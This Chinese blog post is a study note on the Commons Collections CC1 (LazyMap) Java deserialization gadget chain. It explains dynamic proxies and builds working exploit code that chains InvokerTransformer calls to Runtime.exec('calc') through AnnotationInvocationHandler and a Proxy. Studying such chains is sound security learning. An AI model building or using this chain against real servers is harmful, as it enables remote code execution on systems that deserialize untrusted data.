CC链1学习2

前置知识

动态代理,理论的知识就不解释了,网上有很多,直接上代码

IUser.java

 package com.superman;

 public interface IUser {

     void show();

 }

UserImpl.java

package com.superman;

 public class UserImpl implements IUser {

     public UserImpl() {

    }

     public void show() {

         System.out.println("展示");

    }

 }

重点是下面两段代码,Proxy.newProxyInstance(类加载器,代理接口,handler用于处理事件),然后新建UserInvocationHandler,重写Invoke方法,当使用动态代理的时候会触发Invoke方法,这里是我们学习安全需要知道的,也是与前一条CC1链的区别

ProxyTest.java

 package com.superman;

 import java.lang.reflect.InvocationHandler;

 import java.lang.reflect.Proxy;

 public class ProxyTest {
     public static void main(String[] args) {
         UserImpl user = new UserImpl();
         InvocationHandler userInvocationHandler = new UserInvocationHandler(user);
         IUser o = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
         o.show();
    }
 }

UserInvocationHandler.java

package com.superman;
 import java.lang.reflect.InvocationHandler;

 import java.lang.reflect.Method; ​

 public class UserInvocationHandler implements InvocationHandler {
     IUser user;​

     public UserInvocationHandler() {
    }

     public UserInvocationHandler(IUser user) {
         this.user = user;
    }

     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

         method.invoke(user,args);

         return null;

    }

 }

学习分析

image-20220214104921836

与之前学习的CC1链不同在于实现InvokerTransformer的transform方法变为LazyMap,所以实现transform的方法不用变

 Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

具体的LazyMap代码

image-20220214104445466

factory值来源于LazyMap有参构造,但为protected,需要找其实现方法

image-20220214104531916

发现其实现方法

image-20220214104625983

实现其方法

 
package com.superman;
 ​
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 ​
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.*;
 import java.util.HashMap;
 import java.util.Map;
 ​
 public class CC1Test2 {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
 ​
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         HashMap<Object, Object> map = new HashMap<Object, Object>();

         实现decorate方法并将factory的值赋值为chainedTransformer
         Map lazymap = LazyMap.decorate(map, chainedTransformer);
 ​
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 }

控制了factory的值后,需要查找哪些方法调用了get方法,这里有很多,估计几千个有的,我们就不一一试了,直接用作者提供的链里面的类,AnnotationInvocationHandler,这个类需要查找我们能控制的get方法。找到在Invoke方法里有调用

image-20220214105507699

其memberValues值可控,来自于构造方法

image-20220214105630398

对代码进行扩充,之前提到的动态代理在这里就用上了,当使用动态代理代理handler后,会自动触发调用Invoke方法

 
package com.superman;
 ​
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 ​
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.*;
 import java.util.HashMap;
 import java.util.Map;
 ​
 public class CC1Test2 {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
 ​
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         HashMap<Object, Object> map = new HashMap<Object, Object>();

         实现decorate方法并将factory的值赋值为chainedTransformer
         Map lazymap = LazyMap.decorate(map, chainedTransformer);

         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
         declaredConstructor.setAccessible(true);
         InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
         Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);


     }



     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 }

接下来需要寻找包住mapproxy的Map类,并能触发get方法,需要不满足几个if条件,首先不是equals方法,其次不能有参数

image-20220214112552508

这里我们需要找一个实现Map接口的类,并且该类实现的方法不是equals以及参数为空,在CC1链中看到AnnotationInvocationHandler的readObject方法,其中memberValues.entrySet(),刚好是我们需要的,反序列化后触发entrySet方法,进入到get方法,而memberValues是lazymap

image-20220214112941991

 
package com.superman;
 ​
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 ​
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.*;
 import java.util.HashMap;
 import java.util.Map;
 ​
 public class CC1Test2 {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
         Runtime runtime = Runtime.getRuntime();
 ////        Class<? extends Runtime> aClass = runtime.getClass();
 ////        Method exec = aClass.getMethod("exec", String.class);
 ////        exec.invoke(runtime,"calc");
 //
 //        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
 //        invokerTransformer.transform(runtime);
 ​
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 ​
         HashMap<Object, Object> map = new HashMap<Object, Object>();
         Map lazymap = LazyMap.decorate(map, chainedTransformer);
 ​
         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
         declaredConstructor.setAccessible(true);
         InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
 ​
         Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
         Object o = declaredConstructor.newInstance(Override.class, mapproxy);
         //serialize(o);
         unserialize("C://ser.txt");
 ​
 ​
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 }

总结

分析出来了但是写不清楚,姑且做个笔记留着以后再完善。

posted @ 2022-02-14 11:47  我要变超人  阅读(128)  评论(0编辑  收藏  举报